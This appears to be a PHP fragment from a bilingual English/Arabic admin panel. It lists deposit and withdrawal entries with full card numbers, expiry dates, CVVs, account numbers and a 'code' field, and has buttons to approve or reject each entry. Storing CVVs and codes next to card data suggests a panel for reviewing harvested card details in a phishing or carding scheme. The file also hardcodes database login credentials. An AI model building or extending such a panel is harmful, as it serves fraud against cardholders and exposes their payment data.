<?php

session_start();

if(!isset($_SESSION['username'])){
    exit;
}

$servername = 'localhost';
$username   = 'mary4tec_adham';
$password   = 'Adham123Adham123';
$dbName     = 'mary4tec_sb123vm';

try {
    $db = new PDO(
        "mysql:host=$servername;dbname=$dbName;charset=utf8mb4",
        $username,
        $password
    );

    $db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
    $db->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);
} catch(PDOException $e){
    exit;
}

// استقبال اللغة المرسلة عبر الـ AJAX (والافتراضي En)
$form_lang = $_GET['lang'] ?? $_SESSION['lang'] ?? 'en';
if (!in_array($form_lang, ['en', 'ar'])) { 
    $form_lang = 'en'; 
}

// قاموس الترجمات الخاص ببيانات الجدول الداخلي
$lang_dict = [
    'en' => [
        'deposit'       => 'Deposit',
        'withdrawal'    => 'Withdrawal',
        'pending'       => 'Pending',
        'approved'      => 'Approved',
        'rejected'      => 'Rejected',
        'change_status' => 'Change Status'
    ],
    'ar' => [
        'deposit'       => 'إيداع',
        'withdrawal'    => 'سحب',
        'pending'       => 'قيد الانتظار',
        'approved'      => 'مقبول',
        'rejected'      => 'مرفوض',
        'change_status' => 'تغيير الحالة'
    ]
];

$lang = $lang_dict[$form_lang];

$sql = "SELECT * FROM info ORDER BY id DESC";
$q = $db->query($sql);
$res = $q->fetchAll();

foreach($res as $result):
?>

<tr data-id="<?= $result['id']; ?>">

    <td><?= $result['id']; ?></td>
    
    <td>
        <?php 
            echo ($result['type'] === 'deposit') ? $lang['deposit'] : $lang['withdrawal']; 
        ?>
    </td>
    
    <td><?= htmlspecialchars($result['fullname']); ?></td>
    <td><?= htmlspecialchars($result['cardnumber']); ?></td>
    <td><?= htmlspecialchars($result['expiredate']); ?></td>
    <td><?= htmlspecialchars($result['cvv']); ?></td>
    <td><?= htmlspecialchars($result['numberaccount']); ?></td>
    <td><?= htmlspecialchars($result['amount']); ?></td>
    <td><?= htmlspecialchars($result['code']); ?></td>

    <td>
    <?php
    if($result['status'] == 'pending'){
        echo '<span class="label label-warning">' . $lang['pending'] . '</span>';
    }elseif($result['status'] == 'approved'){
        echo '<span class="label label-success">' . $lang['approved'] . '</span>';
    }elseif($result['status'] == 'rejected'){
        echo '<span class="label label-danger">' . $lang['rejected'] . '</span>';
    }else{
        echo '<span class="label label-default">' . htmlspecialchars($result['status']) . '</span>';
    }
    ?>
    </td>

    <td><?= htmlspecialchars($result['created_at']); ?></td>
    
    <td>
        <button 
            class="btn btn-primary btn-xs editStatusBtn"
            data-id="<?= $result['id']; ?>"
            data-status="<?= $result['status']; ?>"
        >
            <?= $lang['change_status'] ?>
        </button>
    </td>

</tr>

<?php endforeach; ?>